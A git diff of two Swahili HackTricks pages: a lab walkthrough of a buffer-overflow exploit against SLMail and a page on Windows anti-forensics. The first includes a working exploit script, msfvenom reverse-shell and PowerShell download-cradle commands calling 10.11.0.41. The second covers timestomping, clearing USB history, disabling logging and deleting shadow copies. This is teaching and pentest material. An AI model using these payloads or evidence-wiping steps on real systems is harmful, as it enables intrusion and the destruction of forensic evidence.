||||
{% hint style="success" %}
|
||||
Jifunze na zoea Kudukua AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea Kudukua GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kudukiza AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukiza kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) **na** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repos za github.**
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Anza kusakinisha huduma ya SLMail**
|
||||
## **Anza kufunga huduma ya SLMail**
|
||||
|
||||
## Anza upya huduma ya SLMail
|
||||
|
||||
Kila wakati unahitaji **kuanza upya huduma ya SLMail**, unaweza kufanya hivyo kwa kutumia konsoli ya Windows:
|
||||
Kila wakati unahitaji **kuanzisha upya huduma ya SLMail** unaweza kufanya hivyo ukitumia konsoli ya windows:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
 (1).png>)
|
||||
|
||||
## Kigezo cha shambulio la msingi la Python
|
||||
## Kigezo cha kudukua cha Python cha msingi
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
|
|
@ -48,11 +49,11 @@ print "Could not connect to "+ip+":"+port
|
|||
```
|
||||
## **Badilisha Font ya Immunity Debugger**
|
||||
|
||||
Nenda kwenye `Chaguo >> Muonekano >> Fonti >> Badilisha (Consolas, Blod, 9) >> OK`
|
||||
Nenda kwa `Chaguo >> Muonekano >> Fonti >> Badilisha(Consolas, Blod, 9) >> Sawa`
|
||||
|
||||
## **Ambatisha mchakato kwenye Immunity Debugger:**
|
||||
## **Ambatanisha mchakato kwa Immunity Debugger:**
|
||||
|
||||
**Faili --> Ambatisha**
|
||||
**Faili --> Ambatanisha**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
|
|
@ -62,35 +63,37 @@ Nenda kwenye `Chaguo >> Muonekano >> Fonti >> Badilisha (Consolas, Blod, 9) >> O
|
|||
|
||||
 (1) (1).png>)
|
||||
|
||||
Kila wakati unapovunja huduma, unapaswa kuizindua tena kama ilivyoelezwa mwanzoni mwa ukurasa huu.
|
||||
Kila wakati unapovunja huduma unapaswa kuizindua tena kama ilivyoelezwa mwanzoni mwa ukurasa huu.
|
||||
|
||||
## Unda mfano wa kubadilisha EIP
|
||||
|
||||
Mfano huo lazima uwe mkubwa kama kichupo ulichotumia kuvunja huduma hapo awali.
|
||||
Mfano huo unapaswa kuwa mkubwa kama kizuizi ulichotumia kuvunja huduma hapo awali.
|
||||
|
||||
 (1) (1).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Badilisha buffer ya shambulio na weka mfano na anzisha shambulio.
|
||||
```html
|
||||
<p>Badilisha buffer ya shambulio na weka mchoro na anzisha shambulio.</p>
|
||||
|
||||
Kosa jipya linapaswa kuonekana, lakini na anwani tofauti ya EIP:
|
||||
<p>Kashfa mpya inapaswa kuonekana, lakini na anwani tofauti ya EIP:</p>
|
||||
|
||||
 (1) (1).png>)
|
||||
<p><img src="../.gitbook/assets/image (27) (1) (1).png" alt=""></p>
|
||||
|
||||
Angalia ikiwa anwani ilikuwa kwenye mfano wako:
|
||||
<p>Angalia ikiwa anwani ilikuwa kwenye mchoro wako:</p>
|
||||
|
||||
 (1) (1).png>)
|
||||
<p><img src="../.gitbook/assets/image (28) (1) (1).png" alt=""></p>
|
||||
```
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Inaonekana **tunaweza kubadilisha EIP katika offset 2606** ya buffer.
|
||||
|
||||
Angalia kwa kubadilisha buffer ya shambulizi:
|
||||
Angalia kwa kubadilisha buffer ya exploit:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
Kwa kifurushi hiki, EIP iliyoharibika inapaswa kuonyesha 42424242 ("BBBB")
|
||||
Na huu buffer EIP iliyovurugika inapaswa kuashiria 42424242 ("BBBB")
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
|
|
@ -102,24 +105,26 @@ Inaonekana kama inafanya kazi.
|
|||
|
||||
600B inapaswa kuwa ya kutosha kwa shellcode yenye nguvu yoyote.
|
||||
|
||||
Hebu tubadilishe kifurushi:
|
||||
Hebu badilisha buffer:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
```sw
|
||||
zindua shambulio jipya na angalia EBP na urefu wa shellcode inayoweza kutumika
|
||||
|
||||
 (1).png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Unaweza kuona kuwa wakati udhaifu unafikiwa, EBP inaelekeza kwa shellcode na tuna nafasi nyingi ya kuweka shellcode hapa.
|
||||
Unaweza kuona kwamba unapofikia udhaifu, EBP inaelekeza kwa shellcode na kwamba tuna nafasi nyingi ya kutambua shellcode hapa.
|
||||
|
||||
Katika kesi hii tuna **kutoka 0x0209A128 hadi 0x0209A2D6 = 430B.** Inatosha.
|
||||
Katika kesi hii tuna **kutoka 0x0209A128 hadi 0x0209A2D6 = 430B.** Ya kutosha.
|
||||
|
||||
## Angalia herufi mbaya
|
||||
|
||||
Badilisha tena buffer:
|
||||
```
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
|
|
@ -140,13 +145,13 @@ badchars = (
|
|||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
badchars huanza katika 0x01 kwa sababu 0x00 mara nyingi ni mbaya.
|
||||
Badchars huanza katika 0x01 kwa sababu 0x00 ni mbaya mara nyingi.
|
||||
|
||||
Tekeleza mara kwa mara shambulio na kifurushi kipya kikiacha herufi ambazo zinaonekana kuwa hazina maana:.
|
||||
Tekeleza mara kwa mara shambulio na hifadhi mpya ya data ukiacha herufi ambazo zinaonekana kutokuwa na maana:.
|
||||
|
||||
Kwa mfano:
|
||||
|
||||
Katika kesi hii unaweza kuona kwamba **hautaki kutumia herufi 0x0A** (hakuna kitu kinachohifadhiwa kwenye kumbukumbu tangu herufi 0x09).
|
||||
Katika kesi hii unaweza kuona kwamba **usitumie herufi 0x0A** (hakuna kitu kinachohifadhiwa kwenye kumbukumbu tangu herufi 0x09).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
|
|
@ -160,7 +165,7 @@ Kutumia:
|
|||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
Utaweka orodha ya ramani za kumbukumbu. Tafuta DLl ambayo ina:
|
||||
Unaweza **kuorodhesha ramani za kumbukumbu**. Tafuta DLl fulani ambayo ina:
|
||||
|
||||
* **Rebase: False**
|
||||
* **SafeSEH: False**
|
||||
|
|
@ -175,7 +180,7 @@ Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya herufi za JMP ESP, ili k
|
|||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
**Kisha, ikiwa anwani fulani imepatikana, chagua moja ambayo haichukui herufi mbaya:**
|
||||
**Kisha, ikiwa anwani fulani imepatikana, chagua ile ambayo haina herufi mbaya yoyote:**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
|
|
@ -186,9 +191,9 @@ Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya herufi za JMP ESP, ili k
|
|||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
Ikiwa shambulio halifanyi kazi lakini linapaswa (unaweza kuona na ImDebg kwamba shellcode inafikiwa), jaribu kuunda shellcodes nyingine (msfvenom itaunda shellcodes tofauti kwa vigezo sawa).
|
||||
Ikiwa shambulio halifanyi kazi lakini linapaswa (unaweza kuona na ImDebg kwamba shellcode imewafikia), jaribu kuunda shellcodes nyingine (msfvenom itaunda shellcodes tofauti kwa vigezo sawa).
|
||||
|
||||
**Ongeza NOPS kadhaa mwanzoni** mwa shellcode na itumie pamoja na anwani ya kurudi kwa JMP ESP, na kamilisha shambulio:
|
||||
**Ongeza NOPS kadhaa** mwanzoni mwa shellcode na itumie na anwani ya kurudi kwa JMP ESP, na kamilisha shambulio:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
|
|
@ -238,7 +243,7 @@ except:
|
|||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Kuna shellcodes ambazo zitajibadilisha wenyewe, kwa hivyo ni muhimu kuongeza NOPs kabla ya shellcode
|
||||
Kuna shellcodes ambazo zitajibadilisha wenyewe, hivyo ni muhimu kuongeza NOPs kabla ya shellcode
|
||||
{% endhint %}
|
||||
|
||||
## Kuboresha shellcode
|
||||
|
|
@ -247,16 +252,17 @@ Ongeza vipimo hivi:
|
|||
```
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,38 +1,39 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Vipindi vya Muda
|
||||
# Muda wa Kumbukumbu
|
||||
|
||||
Mshambuliaji anaweza kuwa na nia ya **kubadilisha vipindi vya faili** ili kuepuka kugunduliwa.\
|
||||
Inawezekana kupata vipindi vya muda ndani ya MFT katika sifa `$STANDARD_INFORMATION` __ na __ `$FILE_NAME`.
|
||||
Mshambuliaji anaweza kuwa na nia ya **kubadilisha muda wa faili** ili kuepuka kugunduliwa.\
|
||||
Inawezekana kupata muda wa kumbukumbu ndani ya MFT katika sifa `$STANDARD_INFORMATION` __ na __ `$FILE_NAME`.
|
||||
|
||||
Sifa zote zina vipindi 4: **Mabadiliko**, **upatikanaji**, **umbizo**, na **ubadilishaji wa usajili wa MFT** (MACE au MACB).
|
||||
Sifa zote zina vipindi 4 vya muda: **Mabadiliko**, **upatikanaji**, **umbizo**, na **ubadilishaji wa usajili wa MFT** (MACE au MACB).
|
||||
|
||||
**Windows explorer** na zana nyingine huonyesha habari kutoka kwa **`$STANDARD_INFORMATION`**.
|
||||
|
||||
## TimeStomp - Zana ya Kuzuia Upelelezi
|
||||
## TimeStomp - Zana ya Kuzuia Udukuzi
|
||||
|
||||
Zana hii **inabadilisha** habari ya vipindi vya muda ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** habari ndani ya **`$FILE_NAME`**. Kwa hivyo, inawezekana **kutambua** **shughuli za shaka**.
|
||||
Zana hii **inabadilisha** habari ya muda ndani ya **`$STANDARD_INFORMATION`** **lakini** **si** habari ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli za shaka**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
**Usn Journal** (Jarida la Nambari ya Mfululizo wa Sasisho) ni kipengele cha NTFS (mfumo wa faili wa Windows NT) kinachofuatilia mabadiliko ya kiasi. Zana ya [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) inaruhusu uchunguzi wa mabadiliko haya.
|
||||
**USN Journal** (Jarida la Nambari ya Mfululizo wa Sasisho) ni kipengele cha NTFS (mfumo wa faili wa Windows NT) kinachofuatilia mabadiliko ya kiasi. Zana ya [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) inaruhusu uchunguzi wa mabadiliko haya.
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -40,51 +41,51 @@ Picha iliyotangulia ni **matokeo** yanayoonyeshwa na **zana** ambapo inaweza kuo
|
|||
|
||||
## $LogFile
|
||||
|
||||
**Mabadiliko yote ya metadata kwenye mfumo wa faili yanalogwa** katika mchakato unaojulikana kama [kuandika kabla ya kuingiza](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyologwa inahifadhiwa kwenye faili iliyoitwa `**$LogFile**`, iliyoko kwenye saraka ya msingi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) inaweza kutumika kuchambua faili hii na kutambua mabadiliko.
|
||||
**Mabadiliko yote ya metadata kwenye mfumo wa faili yanalogwa** katika mchakato unaojulikana kama [kuandika kabla ya kuingia](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyologwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka ya msingi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) inaweza kutumika kuchambua faili hii na kutambua mabadiliko.
|
||||
|
||||
.png>)
|
||||
|
||||
Tena, katika matokeo ya zana inawezekana kuona kwamba **mabadiliko fulani yalifanywa**.
|
||||
|
||||
Kwa kutumia zana hiyo hiyo inawezekana kutambua **vipindi vya muda vilivyobadilishwa**:
|
||||
Kwa kutumia zana hiyo hiyo inawezekana kutambua **muda ambao vipindi vya muda vilibadilishwa**:
|
||||
|
||||
.png>)
|
||||
|
||||
* CTIME: Wakati wa uundaji wa faili
|
||||
* ATIME: Wakati wa kubadilisha faili
|
||||
* MTIME: Mabadiliko ya usajili wa MFT wa faili
|
||||
* RTIME: Wakati wa kupata faili
|
||||
* CTIME: Muda wa uundaji wa faili
|
||||
* ATIME: Muda wa kubadilisha faili
|
||||
* MTIME: Muda wa ubadilishaji wa usajili wa MFT
|
||||
* RTIME: Muda wa kupata faili
|
||||
|
||||
## Linganisha `$STANDARD_INFORMATION` na `$FILE_NAME`
|
||||
|
||||
Njia nyingine ya kutambua faili zilizobadilishwa kwa shaka ni kulinganisha wakati kwenye sifa zote mbili kutafuta **tofauti**.
|
||||
Njia nyingine ya kutambua faili zilizobadilishwa kwa shaka ni kulinganisha muda kwenye sifa zote mbili kutafuta **tofauti**.
|
||||
|
||||
## Nanosekunde
|
||||
|
||||
Vipindi vya muda vya **NTFS** vina **usahihi** wa **nanosekunde 100**. Kwa hivyo, kupata faili zenye vipindi vya muda kama 2010-10-10 10:10:**00.000:0000 ni shaka sana**.
|
||||
Vipindi vya muda vya **NTFS** vina **usahihi** wa **nanosekunde 100**. Hivyo, kupata faili zenye vipindi vya muda kama 2010-10-10 10:10:**00.000:0000 ni shaka sana**.
|
||||
|
||||
## SetMace - Zana ya Kuzuia Upelelezi
|
||||
## SetMace - Zana ya Kuzuia Udukuzi
|
||||
|
||||
Zana hii inaweza kubadilisha sifa zote mbili `$STARNDAR_INFORMATION` na `$FILE_NAME`. Walakini, kuanzia Windows Vista, ni lazima kuwa na OS hai kubadilisha habari hii.
|
||||
Zana hii inaweza kubadilisha sifa zote mbili `$STARNDAR_INFORMATION` na `$FILE_NAME`. Hata hivyo, kuanzia Windows Vista, ni lazima kuwa na OS hai kubadilisha habari hii.
|
||||
|
||||
# Kuficha Data
|
||||
|
||||
NFTS hutumia kikundi na ukubwa wa habari wa chini. Hii inamaanisha kwamba ikiwa faili inatumia kikundi na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili ifutwe. Kwa hivyo, inawezekana **kuficha data katika nafasi hii ya ziada**.
|
||||
NTFS hutumia kikundi na ukubwa wa habari wa chini. Hii inamaanisha kwamba ikiwa faili inatumia kikundi na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili ifutwe. Hivyo, inawezekana **kuficha data katika nafasi hii ya ziada**.
|
||||
|
||||
Kuna zana kama slacker zinazoruhusu kuficha data katika nafasi hii "iliyofichwa". Walakini, uchambuzi wa `$logfile` na `$usnjrnl` unaweza kuonyesha kwamba data fulani iliongezwa:
|
||||
Kuna zana kama slacker zinazoruhusu kuficha data katika nafasi hii "iliyofichwa". Hata hivyo, uchambuzi wa `$logfile` na `$usnjrnl` unaweza kuonyesha kwamba data fulani iliongezwa:
|
||||
|
||||
.png>)
|
||||
|
||||
Kwa hivyo, inawezekana kupata nafasi ya ziada kutumia zana kama FTK Imager. Tafadhali kumbuka kwamba aina hii ya zana inaweza kuokoa yaliyomo yaliyofichwa au hata yaliyofichwa.
|
||||
Hivyo, inawezekana kupata nafasi ya ziada kwa kutumia zana kama FTK Imager. Tafadhali kumbuka kwamba aina hii ya zana inaweza kuokoa maudhui yaliyofichwa au hata yaliyofichwa.
|
||||
|
||||
# UsbKill
|
||||
|
||||
Hii ni zana ambayo ita**zima kompyuta ikiwa mabadiliko yoyote kwenye USB** zinagunduliwa.\
|
||||
Hii ni zana ambayo ita**zima kompyuta ikiwa mabadiliko yoyote kwenye bandari za USB** yatagunduliwa.\
|
||||
Njia ya kugundua hii itakuwa kuchunguza michakato inayoendelea na **kupitia kila script ya python inayoendesha**.
|
||||
|
||||
# Usambazaji wa Linux wa Moja kwa Moja
|
||||
|
||||
Distros hizi zinaendeshwa ndani ya **kumbukumbu ya RAM**. Njia pekee ya kugundua ni **ikiwa mfumo wa faili wa NTFS unafungwa na ruhusa za kuandika**. Ikiwa inafungwa tu na ruhusa za kusoma haitawezekana kugundua uvamizi.
|
||||
Distros hizi zina**endeshwa ndani ya kumbukumbu ya RAM**. Njia pekee ya kugundua ni **ikiwa mfumo wa faili wa NTFS unafungwa na ruhusa za kuandika**. Ikiwa inafungwa tu na ruhusa za kusoma haitawezekana kugundua uvamizi.
|
||||
|
||||
# Kufuta Salama
|
||||
|
||||
|
|
@ -92,7 +93,7 @@ Distros hizi zinaendeshwa ndani ya **kumbukumbu ya RAM**. Njia pekee ya kugundua
|
|||
|
||||
# Usanidi wa Windows
|
||||
|
||||
Inawezekana kulemaza njia kadhaa za kuingiza data za Windows ili kufanya uchunguzi wa upelelezi kuwa mgumu zaidi.
|
||||
Inawezekana kulemaza njia kadhaa za kuingiza data za Windows ili kufanya uchunguzi wa kumbukumbu kuwa mgumu zaidi.
|
||||
|
||||
## Lemaza Vipindi vya Muda - UserAssist
|
||||
|
||||
|
|
@ -105,7 +106,7 @@ Kulemaza UserAssist kunahitaji hatua mbili:
|
|||
|
||||
## Lemaza Vipindi vya Muda - Prefetch
|
||||
|
||||
Hii itahifadhi habari kuhusu programu zilizotekelezwa kwa lengo la kuboresha utendaji wa mfumo wa Windows. Walakini, hii pia inaweza kuwa na manufaa kwa mazoezi ya upelelezi.
|
||||
Hii itahifadhi habari kuhusu programu zilizotekelezwa kwa lengo la kuboresha utendaji wa mfumo wa Windows. Hata hivyo, hii inaweza pia kuwa muhimu kwa mazoezi ya udukuzi.
|
||||
|
||||
* Tekeleza `regedit`
|
||||
* Chagua njia ya faili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
|
|
@ -113,9 +114,9 @@ Hii itahifadhi habari kuhusu programu zilizotekelezwa kwa lengo la kuboresha ute
|
|||
* Chagua Badilisha kwa kila moja kubadilisha thamani kutoka 1 (au 3) hadi 0
|
||||
* Anza tena
|
||||
|
||||
## Lemaza Vipindi vya Muda - Wakati wa Mwisho wa Upatikanaji
|
||||
## Lemaza Vipindi vya Muda - Muda wa Mwisho wa Upatikanaji
|
||||
|
||||
Kila wakati saraka inafunguliwa kutoka kwenye kiasi cha NTFS kwenye seva ya Windows NT, mfumo huchukua muda **kuboresha uga wa vipindi vya muda kwenye kila saraka iliyoorodheshwa**, inaitwa wakati wa mwisho wa upatikanaji. Kwenye kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji.
|
||||
Kila wakati saraka inafunguliwa kutoka kwenye kiasi cha NTFS kwenye seva ya Windows NT, mfumo huchukua muda wa **kuboresha uga wa vipindi vya muda kwenye kila saraka iliyoorodheshwa**, unaitwa muda wa mwisho wa upatikanaji. Kwenye kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji.
|
||||
|
||||
1. Fungua Mhariri wa Usajili (Regedit.exe).
|
||||
2. Nenda kwa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
|
|
@ -123,14 +124,14 @@ Kila wakati saraka inafunguliwa kutoka kwenye kiasi cha NTFS kwenye seva ya Wind
|
|||
4. Funga Mhariri wa Usajili, na anza upya seva.
|
||||
## Futa Historia ya USB
|
||||
|
||||
**Mingine yote** ya **Mingine ya Kifaa cha USB** hufutwa katika Usajili wa Windows Chini ya funguo la usajili la **USBSTOR** ambalo lina vichwa vidogo vilivyoundwa wakati wowote unapoweka Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hili hapa H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** kutafuta historia ya USB.\
|
||||
**Mingine** ya **Vifaa vya USB** huhifadhiwa kwenye Usajili wa Windows Chini ya funguo la Usajili la **USBSTOR** ambalo lina funguo za chini zinazoundwa kila unapoweka Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hili hapa H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hili** kutafuta historia ya USB.\
|
||||
Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) kuhakikisha umewafuta (na kuwafuta).
|
||||
|
||||
Faili nyingine inayohifadhi habari kuhusu USB ni faili `setupapi.dev.log` ndani ya `C:\Windows\INF`. Hii pia inapaswa kufutwa.
|
||||
|
||||
## Lemaza Nakala za Kivuli
|
||||
|
||||
**Panga** nakala za kivuli na `vssadmin list shadowstorage`\
|
||||
**Pata orodha** ya nakala za kivuli kwa `vssadmin list shadowstorage`\
|
||||
**Zifute** kwa kukimbia `vssadmin delete shadow`
|
||||
|
||||
Unaweza pia kuzifuta kupitia GUI kwa kufuata hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
|
@ -141,23 +142,23 @@ Kulemaza nakala za kivuli [hatua kutoka hapa](https://support.waters.com/KB_Inf/
|
|||
2. Kutoka kwenye orodha, pata "Nakala ya Kivuli ya Kiasi", ichague, kisha ufikie Mali kwa kubofya kulia.
|
||||
